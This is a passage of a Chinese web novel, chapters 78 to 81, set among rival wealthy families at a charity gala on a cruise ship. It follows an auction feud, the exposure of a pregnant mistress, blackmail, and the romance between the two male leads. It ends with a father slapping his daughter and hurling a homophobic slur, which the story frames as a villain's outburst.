陈一诺两手摸着脸,转头问陈宗礼:“我瘦了吗?没有吧?天天薯条汉堡的。” 陈宗礼换衣服的时候就看出来了,确诊道:“是瘦了。” 吴淑芬道:“看吧,我就说。你二婶的眼睛就是秤,瘦0.1斤我都能看出来!” 陈一诺凑到陈宗礼耳边:“瘦得很明显吗?” 陈宗礼低声道:“挺明显的,能看见肋骨了。” 肋骨?!这位太子爷,你看哪儿呢?! 猛然想到刚刚在车上脱上衣时,他因为害羞,脱得特别快,还以为陈宗礼没看见。 结果不但看了,还看得挺仔细! 陈一诺耳朵红得滴血:“啧,你怎么还偷看呢?” 陈宗礼脸皮非常厚:“我看你怎么了?你还看我了呢,看得眼都直了,别双标啊?” 他凑到他耳边呢喃:“再说了,我看自己男朋友,怎么了?” 陈一诺脸红得快熟了,他压着声音道:“陈宗礼,别说了!” 陈宗礼噙着笑,手指在嘴上从左到右“拉上”:“嗯,小嘴巴闭起来!” 会场的灯光慢慢暗下来,所有人的目光投向主舞台,慈善晚会要开始了。 …… 今晚的慈善晚会,邀请了TVA当家名嘴Ada,担任主持。 她高挑身材,穿着一条松石绿长裙,她款款走到舞台中央,宣布“俪妍会”三十周年慈善夜正式开始。 其实,每年晚宴的流程都大同小异,先举行开幕式,然后是俪妍会会长致辞。 最后,邀请开幕式嘉宾上台,做一个亮灯仪式,宣布晚会开始。 按照往年惯例,开幕嘉宾一共三位。 今年却有些意外。 德高望重的名誉会长陈老太,是当之无愧的C位。她的左侧是现任会长秦若霜。右侧站的本应是会长秘书李思维,象征着:老中青三代女性力量。今年却变成了贺朗的夫人吴丹妮。 不但如此,她还罔顾大会着装要求,穿了一身红色低胸晚礼服,死死压住秦若霜的风头。 在这样的派对上,任何排位都考究。陈一诺敏感地看向陈宗礼,碰巧陈宗礼也搁下了酒杯,微不可察地皱眉。 当事人吴淑芬更是“不满”写在脸上,阴着脸喝了一杯红酒。 “俪妍会”是慈善组织,也是上流名利场的缩影。冷翠英陈老太能在“俪妍会”屹立不倒,除了曾经是天峻集团董事长的实权,还有陈家五代豪门的影响力。 而会长秦若霜和副会长吴淑芬也一样,背靠各自的家族实力。 吴丹妮的出现,其实不算突兀。 一来贺家也是四大家族之一,二来吴丹妮娘家跟吴淑芬一样显赫。 最大的Bug就是她的人品、学历没有一样能拿出手的。特别是那张嘴,太能拱火得罪人,豪门太太没有不跟她结怨的。 台上台下都有不少猜测,庄嘉轩问出所有人都疑惑的问题:“贺太太什么时候进的俪妍会?” 贺太太吴丹妮跟吴淑芬是堂姐妹,按辈分,陈宗瑜喊她一声“表姑妈”。 站在吃瓜第一线的陈宗瑜喃喃道:“你不知道了吧?” “当年我表姑妈也是俪妍会成员,但是那张嘴太得罪人,拉帮结派,得罪不少人,被奶奶劝退会了。” “谁知道风水轮流转,今年贺朗成了港城首富,她妻凭夫贵,不少声音要求俪妍会让她重新入会。” “李伯伯就是其中之一,他还向秦伯母施压,说要考虑大局。秦伯母无奈之下,只能答应。所以,表姑妈又成为俪妍会会员了。” 陈宗礼问道:“会员怎么也能参与开幕了?二婶这个副会长都没有这待遇。” 提到这件事,陈宗瑜就莫名烦躁,说道:“还不是假画那事闹的。” “贺朝风的官司闹得沸沸扬扬。秦伯母和我妈专门飞了一趟A国,邀请她重新入会,还请她参加慈善晚宴。她摆架子看不上,狮子开大口说,除非让她当俪妍会副会长。” “哼……”庄嘉轩没忍住冷笑出声,“真以为有钱能使鬼推磨啊?俪妍会副会长谁都能当的?” 由于,“俪妍会”属于慈善机构,对管理层挑选更严格,不但要以身作则,成为港城名媛太太们的榜样,更要时刻关注女性发展,心中有大爱。 吴丹妮何德何能成为俪妍会的“二把手”。 “所以,谈判破裂,我妈跟她在A国大吵一架!最后,还是奶奶厉害,给支了一招!” 陈一诺来兴趣了,眼尾扬了扬:“还有我们老太太的戏份啊?” 陈宗瑜说书似的:“都闹成这样的,只能搬荣誉会长出面调停了。” “奶奶说,副会长是不可能给的,但能给表姑妈一个荣誉赞助商的身份,让她在开幕式站自己右侧。她才答应了。” 冷翠英在商场上,擅长攻心,对女人的心思更是了解。当年,给陈宗礼二叔挑老婆,在吴丹妮和吴淑芬之间选了后者,就是因为看中她的品行。 她知道吴丹妮爱出风头,就让她在“俪妍会”开幕式上出尽风头,闪光灯全往她身上扫,还让他坐主桌,占那么大的便宜,她自然乐意。 不得不说,姜还是老的辣。 陈一诺扫了一眼隔壁桌的李思维,表面看维持着微笑看舞台,实际心里怎么想,就不得而知了。 他问道:“奶奶这样偏心吴丹妮,思维姐没意见?” 陈宗礼意味深长地笑了,身体凑近他一些,低声道:“想知道啊?叫声好听的。” 陈一诺大眼睛看着陈宗礼,满是难以置信。 虽然在陈宗礼身上吃了不少“等价交换”的亏,譬如打赌成绩。 没想到,直至今日,他们都这种关系了,陈宗礼还秉承这样等价交换的陋习。 陈一诺收回跟他挨在一起的腿,警告:“啧,陈宗礼别太过分!” 陈宗礼的膝盖追上来:“叫声哥哥过分吗?那算了……不过,跟你透露一下,老太太手段还是厉害呀……” 陈宗礼这个钩子下得,欲言又止的。陈一诺等着他往下说呢:老太太怎么厉害了?哪里厉害了?! 结果没下文了。 他再次看向陈宗礼,对方一副“你爱叫不叫,我爱说不说”的流氓样,气得他不行。偏偏他又很想听。 只能凶巴巴说道:“哥!行了吧!快说!” 陈宗礼不买帐,点他:“温柔点,甜点。” 陈一诺深吸一口气,露出八颗牙齿的笑容,夹着声音:“哥哥,你快说~” 任务完成,笑容快速消失,又成凶巴巴的眼神。 陈宗礼听得通体舒畅,说道:“老太太不是擅长端水么,她知道这回惹秦若霜母女都不开心,所以,这个慈善晚宴,全交给李思维旗下的活动公司负责。” 左右制衡之术,陈老太专研多年,早玩得出神入化,人精中的人精。 给了贺家面子,就得给李家补上里子。 但是,俪妍会的整体策划默认交给身为亚士得副总裁的庄宝瑶,毕竟拍卖是晚宴最重要的部分,里面的门道没人比她精通。 这次交给李思维,光是活动策划、现场布置等,已经为她的活动公司增加不少曝光。 陈老太这块姜,真辣! 但是,“姐控”不乐意了。 庄嘉轩明显知道这场博弈,不满道:“李思维和吴丹妮都开心了,我姐怎么办?她的活儿被抢了。” 陈家兄弟同时看向他,心想:你姐的事,跟李思维用得着分那么清吗?! 陈宗瑜倒是没隐瞒,知无不言:“放心吧,拍品还是从艺思轩选的。奶奶,还许了你姐一双白手套!” 内行人都知道,“白手套”是拍卖行业黑话,代表着拍卖师最高荣誉。 只有获得100%成交率的拍卖专场,才能算作“白手套”专场。作为鼓励,负责这场拍卖师就能获得一双“白手套”。 作为女性华人拍卖师,庄家瑶目前还没得到过一双“白手套”!陈老太给的这颗糖,正是她渴望的。 庄嘉轩听完,气才顺了。 陈一诺震惊地手肘撞了撞陈宗礼:“老太太,也太猛了!这得多少钱啊?” 陈宗礼垂眸看他的小动作,手臂不可觉察地朝他靠了靠,说道:“奶奶一直想拿家里的藏品拍卖,刚好有这个机会,干脆做个顺水人情。” 陈一诺在古家败落之前,也是宝贝堆里长大的。 有一次,陪陈老太去陈家地下收藏室找一幅画。当即被里面的藏品震惊了。 地下收藏室内,是陈家五代人的积累,无论是藏品的规模和质量,堪比一家省级博物馆。 要办一场“白手套”专场,确实不成问题。 他咂摸着:陈老太这块姜,辣死人了!—— 作者有话说:好像人越来越多了[捂脸偷看]。一章和这一章补一个人物关系网,方便大家回溯。 港城四大家族: 陈家——百年历史,五代豪门 冷翠英——奶奶,天峻前总裁、董事长;俪妍会创始人,荣誉会长 吴淑芬-二婶 陈宗礼-嫡孙(第五代),天峻集团CEO 陈一诺-养孙(古家遗孤),一星集团CEO 陈宗瑜-孙女天峻集团秘书 贺家——首富 贺朗——父亲,建盛集团总裁、董事长 吴丹妮——母亲,吴淑芬堂姐 贺朝风-长子,建盛集团海外业务 贺朝阳-庶子,建盛集团副总裁,港城过半网红餐厅、酒吧老板。 李家——酒店大亨 李家纯——父亲,宏发集团总裁、董事长 秦若霜——母亲,俪妍会会长 李思维——嫡女,LS酒店总设计、思维策展CEO 董家——黑白两道(待开发) 董嘉裕——父亲,悦动集团总裁、董事长 林宝珠——母亲 董焱——长子 董淼——长女 董森——次女 董嘉华-幺叔 儿子-董城 周边家族 庄家——娱乐大亨 庄孝和——父亲,环球集团总裁、董事长 王素心——母亲,圣保罗中学校长 庄宝瑶——长女,亚士得大中华区副总裁,首个华人女拍卖师 庄嘉轩——长子,环球集团艺人部经理 古家——没落豪门 白凤娇——奶奶 古德庆——次子 古一诺——幺孙(后被陈家领养) 第79章 如果说,俪妍会的开幕是名媛们的修罗场,那拍卖环节就成了富人们的竞技场。 舞台上,一袭旗袍,风姿卓绝的拍卖师庄宝瑶身体前倾,耳听八方,手势跟着现场每位举牌的嘉宾实时起落。偶尔一两句幽默的小话,稳稳掌握着整场拍卖的节奏。 目前为止,所有拍品都没有流拍。大家为做善事,均不遗余力,慷慨解囊。 十几个拍品下来,陈一诺也收获了几箱名酒和一支“绿水鬼”。 他百无聊赖地翻着拍卖名录,疑惑道:“我以为,拍品全是从“艺思轩”选呢。没想到还有私人藏品。” 算上上辈子,这也是他第一次参加俪妍会的拍卖,很多细节都不清楚。 陈宗瑜贴心解释:“毕竟是俪妍会的拍卖。俪妍会的成员也不好参与拍卖,但多少会捐出一些自己的藏品。像奶奶,虽然退居二线,但每年慈善晚会都会专门选几件藏品作为拍品,支持一下。” “今年,表姑妈也临时加了一个藏品。” 她翻到名录里的其中一页,指着上面白玉雕件:“喏,这座明代的白玉雕送子观音。” 陈一诺一眼扫过去,挺普通的一座白玉观音。 陈宗瑜解释道:“圈子里的人都知道,秦伯母信佛。每回拍卖只要有玉观音必定要拍。偏偏这尊是送子观音……那就很耐人寻味了。” 喝了两瓶红酒的吴淑芬也插嘴道:“什么耐人寻味?这人就是没安好心,故意恶心你秦伯母!” “一开始,思维气得直接拒绝,我也气得不清!最后还是你秦伯母大度,说没关系,才安排进来的。” 陈一诺看陈宗礼没说话,凑近他身边,肩膀不经意相叠着,西装面料摩擦出低低的“窸窣”声。 他低声问道:“哥……” “吴丹妮送一座送子观音,想干嘛?” 陈宗礼歪头到他耳边,轻声道:“当年,奶奶退居二线,吴丹妮就想当俪妍会会长。她跟秦伯母都是候选人,两人斗得厉害。” “秦伯母跟吴丹妮斗?”陈一诺惊讶,秦若霜虽然是标准的豪门阔太,大方得体贤淑贵气,但无论是手段,还是心力,跟泼辣的吴丹妮斗……能斗得过? 陈宗礼看他纠结得皱眉,嘴角不自觉地上扬:“秦伯母不但跟她斗,还以一票之差斗赢了。知道那关键的一票是谁的吗?” 陈一诺惊讶:“谁?” 陈宗礼抬起下巴指向对面:“二婶。” 哦,原来吴丹妮把当年对秦若霜的恨,跟今年对李思维的仇,一起清算了。 陈一诺了然道:“难怪二婶后来跟她关系越来越差。也难怪她要搞一座送子观音恶心人了。” 陈宗礼“嗯”了声:“选拍品只是前菜,待会儿拍卖才是正餐。” “秦伯母敬重观音人尽皆知,举牌是花钱买难受,不举牌等于承认自己肚量小。左右为难” 陈一诺喃喃:“不愧是贺朝阳的亲妈,这招真阴险。你觉得她知道Linda的事么?” 陈宗礼:“我猜她知道,而且她还想玩火。就看这火能不能烧起来。” …… 声音陆陆续续从他嘴里传到陈一诺耳朵,偏偏他的嘴唇还若有若无地擦过他的耳廓,几句话下来,陈一诺半边身体触电似的麻酥酥。 他下意识拉开一点距离,拽了下耳朵,继续问:“刚刚,那个珠宝皇后林芬嫡孙的破画,还有几个人抢着要呢。今晚,无论是什么拍品都能烧起来。问题是,烧起来有什么后果……” 偷听到他们对话的庄嘉轩也插嘴:“能有什么后果?Linda在A国安胎,李家纯因为公事也没来。闹不出什么大新闻的。大不了秦若霜高价买一座送子观音,被媒体写点八卦咯。” 确实,重要的主角都不在,能严重到哪里去? 陈宗礼下巴微微抬起,他淡淡看向贺朝阳,神秘道:“那倒未必……” 时间卡得刚刚好,他们刚议论完,舞台上的拍卖师庄宝瑶宣布。 “接下来是第66号拍品,由吴丹妮女士捐赠的明代白玉雕送子观音。起拍价20w!” 首富夫人捐赠的拍品,自然不乏感兴趣者,更何况这尊观音意头不错。从20w开始,短短几个来回,轻松突破200w。 期间,陈一诺和陈宗礼也象征性地举了几次牌。 当拍卖师喊到250w时,场上还在坚持举牌的,不止有逢佛必拍的秦若霜。还有拍品捐赠者吴丹妮。 庄嘉轩疑惑道:“还能把自己捐的藏品拍回来?” 陈宗瑜点头:“通常不会啦!就吴丹妮事多!不过主办方也没规定说不可以。” “260w。”庄宝瑶喊道,“还有出价高于260w么?” “300w!”吴丹妮优雅地举起竞拍号牌,她跟秦若霜短兵相接地对视,眼里满是志在必得。 “350w!”秦若霜用最温柔的声音,张嘴又抬了50w。 “哇——”不明所以的现场观众,瞬间拍掌起哄,有时候两个男人打架未必能引起大家的关注,但两个女人扯头花,才是真正的好看、爱看、流量密码。 幸好,现场活动团队有先见之明,手机一律放进密封袋。不然,这个一口50w的名场面肯定会被拍下来。 陈一诺看着现场激烈的竞价,笑道:“这下我信秦伯母当年的手腕了,确实挺果敢。” 就在大家都期待这尊白玉观音鹿死谁手,庄宝瑶在台上喊:”350w第一次……350w第二次……” “400w!”吴丹妮朗声喊着,全场再一次哗然。反观秦若霜淡淡地笑着,没有再举牌。 陈宗瑜看着一脸懵,问吴淑芬:“妈,我真是看不懂了。表姑妈到底想干嘛?明明是自己捐的,为什么还要跟秦伯母抢?” 吴淑芬也没看懂,翻了个白眼:“首富太太的思路,哪是我能揣测的?” 庄嘉轩接上:“真看不懂,首富太太什么买不到?捐出来的还要买回去。这尊观音来头很大么?” 陈宗瑜摇摇头:“就是普通白玉观音,当初她拍回来价格不到200w。这一锤下去,直接翻一倍了。” “砰——”庄宝瑶清脆落槌。 “明代白玉雕送子观音,400w成交!也是今晚成交金额最高的拍品。我仅代表俪妍会,谢谢贺太太的善心。” 现场掌声雷动,工作人员走到吴丹妮身边,让她办理手续。吴丹妮正出风头呢,弯着笑眼跟贺朝阳吩咐几句,由他全权代理,自己继续跟身边人的碰杯祝贺去了。 看了半天,也没看见烧起来的迹象,他撇了眼陈宗礼:“别说烧起来,火星子也没看见啊。” 陈宗礼却很淡定:“给它一点时间吧,兴许在你看不见的地方,火已经点燃了呢。” …… 最终,这场慈善拍卖在筹得超五千万善款的祥和气氛中结束。 考虑到是两天一夜的邮轮派对,除了慈善拍卖和晚宴,李思维特意在晚宴结束后,安排一场盛大舞会。并在零点时分,在邮轮甲板上还有一场烟火表演。 工作人员收起中央的伸缩舞台,宴会厅前瞬间开辟出一个圆弧形空间。顶部缓缓垂落一个闪亮的银色迪斯科球。舞台渐变的灯光配合迪斯科球旋转出的星星点点,伴随着悠扬的音乐,轻松点燃宾客们剩余的热情。 想聊天的继续聊,想跳舞的到舞池里尽情挥洒。 俪妍会中不乏能歌善舞的美人,舞动的身影像在风中摇曳的花朵,跟着音乐旋转,在旋转中绽放。 陈一诺他们几个对跳舞不感兴趣,干脆拿着酒杯到处social。途中,陈一诺还遇见了熟人。 陈一诺惊喜:“普尔斯?” 普尔斯看见他立刻贴上来诉苦:“好啊,你回来也不告诉我!” 陈一诺失笑:“下飞机立刻过来的。你怎么也来了?” 普尔斯一脸不高兴:“我万人迷,参加一个慈善派对很难吗?” 陈一诺想说很难,能收到俪妍会请帖的嘉宾,在港城跺跺脚都能抖三抖的程度。但他没时间深究,因为陈宗礼在前方等着他去主桌敬酒。 陈一诺只能笑笑:“行,你玩得开心,我先去敬酒,晚点找你!” 没给普尔斯投诉的机会,陈一诺赶紧跑到陈宗礼身旁。 陈宗礼皱眉盯着普尔斯:“他怎么来了?” 陈一诺亲腻地拽拽他的衣袖:“我哪儿知道,快去找老太太!” …… “奶奶,我们过来敬您一杯。” 老太太吃完最后一块手指泡芙,优雅地拿起酒杯,跟所有小辈碰了一遍,礼貌性地抿了一口红酒。 老太太看着眼前几个帅气的男生,问道:“来找老太太干嘛?年轻人去跳跳舞多好,美女那么多……” 陈一诺嬉皮笑脸:“美女常有,但美丽的老太太稀有啊。我们当然得先来看您对吧?” 老太太“哈哈哈”大笑,显然被哄得很开心。 旁边的秦若霜笑得眉眼弯弯,说话温温柔柔:“一诺这嘴真甜,港城的小姑娘要遭殃咯。” 吴淑芬摆摆手:“轮不上其他小姑娘,一诺啊,早晚是我家的!” 吴淑芬爱恨分明,要什么就要到底,想让陈一诺当女婿的心,一刻都没有停过。旁边的外人听见只能哈哈笑笑。后排的庄嘉轩,当事人陈一诺,还有陈宗礼,脸上表情各有各的精彩。 另一位当事人陈宗瑜瞥了眼庄嘉轩,涨红着脸,尴尬道:“妈!你胡说什么呢!” 吴淑芬剜了一眼庄嘉轩,冷淡笑笑:“说什么?说心里话呀……” …… 这时,李思维领着两个戴手套穿制服的工作人员,推着刚拍下的白玉雕送子观音,送到吴丹妮的位置上。 虽然心里在骂人,李思维还是努力保持专业,跟吴丹妮介绍:“贺太太,如果没问题,麻烦签收,我们会安排押运车和保镖,下船后把观音送去您家。” 吴丹妮瞥了一眼李思维,嘴角上扬,表情像在说:终于来了! 她朝一旁招招手:“Linda,你过来……” 大家顺着她招手的方向看去,一个穿着罗兰紫丝绸礼服裙,脖子上戴着价值连城的松石绿钻石项链的女人,也朝她挥了挥手。 当她朝主桌走过来,谁都能察觉礼服裙下无法遮掩的孕肚。 庄嘉轩难以置信地张张嘴:“Linda?” 陈宗瑜听庄嘉轩提到过,问道:“霸凌艺人,把人逼得自杀未遂,畏罪潜逃那个Linda?她怎么会在这里?” 庄嘉轩摊手:“你问我,我还想问她呢……” 陈一诺凑到陈宗礼耳边低声道:“登船安检的时候,贺朝阳好像在找人,该不会是找她吧?” “那么狗血吗?” 陈宗礼脸上没什么表情,应承道:“跟你猜的差不多。” “这火要烧起来了。”—— 作者有话说:[坏笑][坏笑][坏笑] 第80章 一段时间不见,Linda的孕肚又显怀许多。 她大腹便便走到吴丹妮身旁,对方轻轻挽起她的手,指着那尊送子观音,说道:“这个白玉雕送子观音,是我专门送给你和宝宝的,希望你呀,平安生一个大胖儿子。” 所有人表情错愕,陈一诺低声道:“吴丹妮豪掷四百万把自己捐赠的送子观音高价拍回来,就是为了送给她?” 陈宗礼:“嗯,还当着秦伯母的面。杀人诛心!” 陈一诺:“连环计。” 当所有人都在低声议论:这孕妇到底何方神圣,居然能让吴丹妮送出如此厚礼。 Linda毫不怯场地摸着肚子往人群里走,享受着被一群富豪名媛围观的感觉。 她走到玻璃保险柜前,里面的白玉观音色泽通透,一看就知道价格不菲。 她受宠若惊道:“丹妮姐,这四百万的送子观音,你真的要送给我?” 吴丹妮一副慈母的模样,轻拍她的手:“四百万不算什么的。最重要你喜欢。喜欢吗?” Linda赞叹道:“喜欢,丹妮姐,我替孩子谢谢您。” 吴丹妮摆摆手:“哎哟哎哟,哪儿的话。你得谢谢李太太才是,还好她过了求子的年纪,不然,我也不敢夺人所爱……” 吴丹妮的一句话,成功把现场所有人的心,提到嗓子眼。 圆桌上的人谁不知道李家纯想儿子想疯了? 因为这件事,美貌与智慧于一身的豪门太太秦若霜,在家被李家纯冷言冷语,在外沦落为旁人茶余饭后的笑柄。 吴丹妮偏偏哪壶不开提哪壶,直接往她溃烂得最严重的伤口浇盐水。一句话单单打打,明摆着让秦若霜难堪。 果然,向来端庄贤淑的秦若霜脸色也沉下来,标志性的礼貌微笑都消失了。 同样惊讶的,还有毫不知情的Linda,现场所有人都喊秦若霜秦会长,她完全不知道对方就是李家纯原配! 李思维护母心切,走到母亲身边,瞪着吴丹妮:“贺伯母,每件拍品在客人心里都有最高价,我母亲单纯认为400w高于观音的实际价值而已,你没必要乱扯别的。” 吴丹妮冷笑:“我乱扯什么了?实话实说也不行吗?若霜确实过了生育年龄呀……” 李思维扯了扯嘴角,明眸闪过刀子,回赠一句:“我们家确实没你家子孙满堂。你有两个儿子,大儿子诈骗,小儿子被骗。还有,你那堆私生的孙子,够组足球队了吧?不知道那些假画够不够付他们的赡养费。” 贺朝风“花花公子”的名声满城皆知,男女关系混乱,私生子众多更是被人诟病。港媒已经懒得再跟踪他的绯闻——因为在港城名声实在太差,到了NobodyCare的程度。后来还有“假画”事件,被港媒誉为“四大家族之耻”。 贺朝阳也没多好,哥哥搞诈骗,他被中介骗。媒体眼里两兄弟一个坏一个傻,贺家的形象全靠首富贺朗顶着。 只是谁也没想到,素来有千金风范的李思维,会反击得那么干脆,直接把吴丹妮气得说话都不利索,半天只会:“你……你……” 陈一诺没忍住:“哇哦!”了声。 “不愧是你的太子妃,好飒!” “大惊小怪”,陈宗礼凑到他耳旁,不屑道:“正牌太子妃杀气更重!” 说完还不忘咬一口他的耳朵。陈一诺惊得回瞪他,警告道:“陈宗礼,你收敛点,那么多人呢!” 陈宗礼噙着笑看他脸红的样子,背着手继续看热闹。 李思维没给吴丹妮开口的余地,冷眼瞥着Linda的肚子:“这位肚子里该不会怀着你孙子吧?” 李思维的话,把所有人的目光转移到Linda的孕肚上。 吴丹妮不但不怒反而一脸得逞,好像之前的挑衅全是请君入瓮的诱饵,就等着她开口问这句。 吴丹妮手指着Linda,吃人的眼神看着李思维,自言自语:“你真想知道,她肚子里是谁的孩子吗?” …… 与此同时,站在宴会厅外咬牙看热闹的贺朝阳,尽量稳住情绪,对旁边的人说:“李叔,再不答应,就晚了!” 风尘仆仆赶上船的李家纯怒发冲冠:“贺朝阳,你手段够狠!为了奥斯康那点事,绑架我儿子!” 当他的眼线告诉他,Linda从A国飞回港城,还被带上“维多利一号”参加俪妍会慈善晚会后,立刻取消所有行程赶回来。 本来,他以为是Linda怀孕的事泄露,被秦若霜母女知道了。万万没想到,是贺朝阳利用他护子心切的弱点,让吴丹妮把Linda哄骗上船。甚至,还在拍卖会上用“送子观音”做了一场大戏! 眼看,吴丹妮就要在众目睽睽之下公布他的私生子!他内心气炸了!头疼欲裂! 人有了软肋,就容易被人拿捏。 事实上,连贺朝阳也没料到,他母亲为了报复秦若霜,能用一尊“送子观音”做那么大的局!不过,歪打正着,现在这个局面,能解决这个困局的只有贺朝阳。 李家纯不想在那么多人面前名誉扫地,也不想那么早爆出私生子,那他只能让贺朝阳拿捏。 这一点他清楚,李家纯这只老狐狸更清楚。 李家纯看吴丹妮已经被激怒,再犹豫就真晚了。为了儿子,他只能忍气吞声:“行,我答应你,赶快上去把烂摊子收拾了!” 贺朝阳这才露出会心的微笑:“好的。李叔放心,这只是你的第一个儿子,我能保证,你还能有第二、第三个。” 李家纯冷哼了声:“那也得第一个活下来!我在客舱房间等你,把人毫发无损给我带过来!” 贺朝阳转头看向董城,叮嘱,“看好李叔!” 说完,整理好衣服,迈入宴会厅。 …… “妈!” 在吴丹妮就要在众目睽睽之下,公布Linda肚子里孩子父亲的时候。贺朝阳突然出现。 他从围观的人群里走出来,站在吴丹妮身边,极快转移了大家的注意力。 跟李家纯达成共识后,Linda这颗棋子就不能再暴露在秦若霜母女面前。否则,以李思维多年“对付小三”的手段,就算有李家纯秘密护着,这孩子也未必能熬到足月出生。 这样一来,他费尽心思的筹划全要付诸东流。 于是,在他母亲要公开Linda孩子身份之前,他率先打断吴丹妮,手搭在她肩上慢慢施压。 “妈,你喝多了,我送你回房间吧。“ 吴丹妮挣扎着说:“你说什么呢……我没喝多。” 贺朝阳没说话,那双三白眼里满是震慑。让她不自觉想起贺朗,加上肩膀上的力度,她只能收敛起表情,低头说:“好……” 贺朝阳转身看向Linda:“Linda小姐,我一起送你回去吧。” 当Linda知道面前站着的是李家纯原配和女儿时,整个人像受了惊的小鹿,眼睛滴溜溜的转,浑身僵硬不敢动,仿佛下一秒就要跳窗逃走。 幸好贺朝阳在她身份暴露前及时解围,她当然说好,急匆匆离开宴会厅。 …… 舞会仍在继续,电力满格的俊男美女,边喝酒边在舞池里跳得欢脱。 看完闹剧的观众们,在贺朝阳等人离开后,也各自散去。 陈一诺站在靠近门口的位置,瞥见一个身影被簇拥着离开。他眼睛眯了眯,不敢确定:“那是……” 他拽着陈宗礼的衣袖,对方回捏他的手指,替他确认:“李家纯。” 陈一诺更疑惑:“人既然来了,怎么不露面?” 捏着他的手指忽然缩了回去,接着,老太太的声音传来:“一诺,宗礼,你们过来!” 陈一诺后背一阵冷汗,老太太不知何时站在他们俩身后,还好陈宗礼反应快,亲密的小动作没被察觉。 他们一左一右搀扶着老太太进旁边的小包间。 除了他们祖孙三个,庄嘉轩和秦若霜已经在包间里聊了一阵。 老太太跟陈宗礼叮嘱道:“叫人在外面守着,别让可疑的人偷听,也别让其他人进来。” “是。”陈宗礼点头,匆匆出去,重回包间时,门外多了好几个保镖待命。 老太太打量变了脸色的秦若霜,单刀直入:“思维还有一堆拍卖后续要处理,来不了。Linda的事,你们知道多少说多少,让你们秦伯母有个底。” 庄嘉轩举手:“刚刚我已经说得差不多了,基本可以确认,Linda怀了……李叔的儿子。” 老太太抬眼:“你们怎么会知道的?“ 三个男的对视一眼,陈一诺主动开口,把Linda怀孕后,李家纯带她做的亲子鉴定给秦伯母看了。连同贺家串掇他的事,也一并告知老太太和秦若霜。 陈一诺:“目前我们最大的迷思就是,如果孩子真是李家纯的,那跟贺家到底有什么关系?” 庄嘉轩:“我带了一个叫Jason的掮客上船,到时候我们可以问问细节……” 没多久,保镖进来在庄嘉轩耳边说了几句,他脸色顿时变得难看。 “那个……Jason的房间被劫,人不见了……” 陈一诺和陈宗礼表情顿时一愣,陈宗礼反应很快,道:“调取监控看看到底是谁把人劫走的!肯定还在船上!” “不用找了!” “啪——”的一声巨响。 所有人看向巨响的出处,都惊呆了。看似柔柔弱弱的秦若霜,居然徒手把一个茶杯拍碎在桌上。碎片滑破了手,血染红了桌布。 老太太连忙向前,询问她手上的伤:“哎呀,你这孩子,再生气也不能拿自己身体出气啊!一个大活人,要抓住还是很容易的。” 陈一诺劝道:“对啊,秦伯母,小心身体。”示意保镖出门拿医药箱。 秦若霜冷着脸,完全感受不到疼痛似的:“那个人无论是被谁抓走的,都不用找了。” “因为那孩子不可能是他的!给人白养儿子,还傻乐……” 除了老太太,所有人都被她笃定的语气震到。 老太太摇头:“李家纯那么聪明一个人,怎么就掉进传宗接代的陷阱里出不来了呢?!” 陈一诺不解:“但是,李叔带她去了不同机构,多次检查。亲子鉴定都确定是他的孩子……这总不能是假的吧?” 老太太没接着陈一诺的话,有些浑浊的眼睛怜爱地看着秦若霜:“无论真假!关键是你得想好了,李家纯闹出这种事不是一天两天了。以前你是睁一只眼,闭一只眼。现在呢?” “离婚。” 没等老太太说完,秦若霜柔弱的脸上异常坚定,说话却举重若轻。 老太太:“想清楚了?” 秦若霜冷笑:“早想清楚了。” 她的选择,跟上辈子一模一样。 与从报纸知道二手消息不同,第一时间知悉,陈一诺被秦若霜的冷静和决绝感到惊艳。 难怪这些年,李思维被李家纯如此打压,依然独立又清醒,原来背后有一个外柔内刚的母亲。 老太太沉默半晌,点头道:“也是,两夫妻总得有一个清醒的,他拎不清,那你就得拎清。忍无可忍,无需再忍了。” 就在陈一诺还想开口问秦若霜,为什么一口咬定Linda肚子里的不是李家纯的孩子。 陈宗瑜小跑进来,看见房间里的人,有些诧异,她气喘吁吁道:“你们都在啊,秦伯母!” “李叔在甲板上跟思维姐吵起来了!你快去看看!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 零点过后,主办方安排的烟花已经放完。宾客们陆续回客舱休息。前往甲板途中遇到的人并不多。 冬夜的海上比陆地冷,寒风无孔不入地往客舱里灌,还没到甲板入口,陈一诺身上的酒气已经被吹散大半,身体禁不住地抖了抖。 旁边的陈宗礼虽然喝了酒,倒是很沉着,他偷偷捏了捏陈一诺的手指,投来一个探询的目光。 陈一诺思绪还没从包间谈话里抽出来,回捏着对方的手指,说道:“哥,李家纯特意赶来,但不露面是担心暴露Linda的身份么?” 陈宗礼点头:“几率很大。否则刚刚在晚宴上,吴丹妮跟李思维争吵时,他就该现身了。” 陈一诺:“那就是说,他打算带Linda离开,经过甲板的时候,没想到遇见思维姐。” “该说贺朝阳兵行险招,还是鲁莽行事呢?这也太招人恨了!” 陈一诺是随便说说的语气,陈宗礼的目光却是深以为然。 “奥斯康在A国和C国根基很深,贺家非常需要。之前,李家纯帮他在Frank面前搭了线,后来贺朝阳发现奥斯康那家子人不太好相处。要深入了解,还是靠李家纯帮衬。偏偏李家纯这老狐狸心眼多,估计拒绝了他。” 陈一诺顺着他往下说:“所以,贺朝阳这个疯子就把Linda山长水远从A国带回港城,还专门带到秦伯母面前,威胁李家纯。” “他不怕李家纯翻脸么?” 陈宗礼双手抱肩:“那说明除了Linda,李家纯还有其他把柄被贺朝阳捏着。” 想起李家纯那张脸,陈一诺就来气:“除非告诉他,还能生更多儿子,否则他有什么能被人捏……” 说到这里,陈一诺顿了顿,捂着嘴:“艹,该不会被我说中了吧。贺家收购什么药物研发公司,研发了多子药?” 陈宗礼耸耸肩:“没听过,不过……也难说。” 前面的庄嘉轩看他们半天没跟上,喊道:“哎,你们怎么回事,走快点儿啊!” 陈一诺立刻松开牵着陈宗礼的手,嚷道:“来了!” …… “维多利一号”的甲板上,除了海风和海浪交织的声音,还有李家纯父女的争吵声。 “啪——”一记响亮的耳光,落在李思维的脸上。 陈一诺他们刚上甲板就看到这一幕,所有人都愣住了,大气不敢出。 李思维难以置信呆站在原地,甲板上的探照灯偶尔扫到她身上,精致的脸慢慢浮现出一排手指的红印,那是这巴掌的力度。 她被庄宝瑶拽到身后,耳朵嗡嗡地,听不清庄宝瑶在说什么…… 只能从李家纯的嘴型,判断他打了人还不解气,大骂:“李家的脸让你丢尽了!” “我就说,你为什么一直躲在A国不肯回来!说什么搞策展公司,学艺术收藏!原来是为了跟她搞在一起!你们两个死/同/性/恋!” 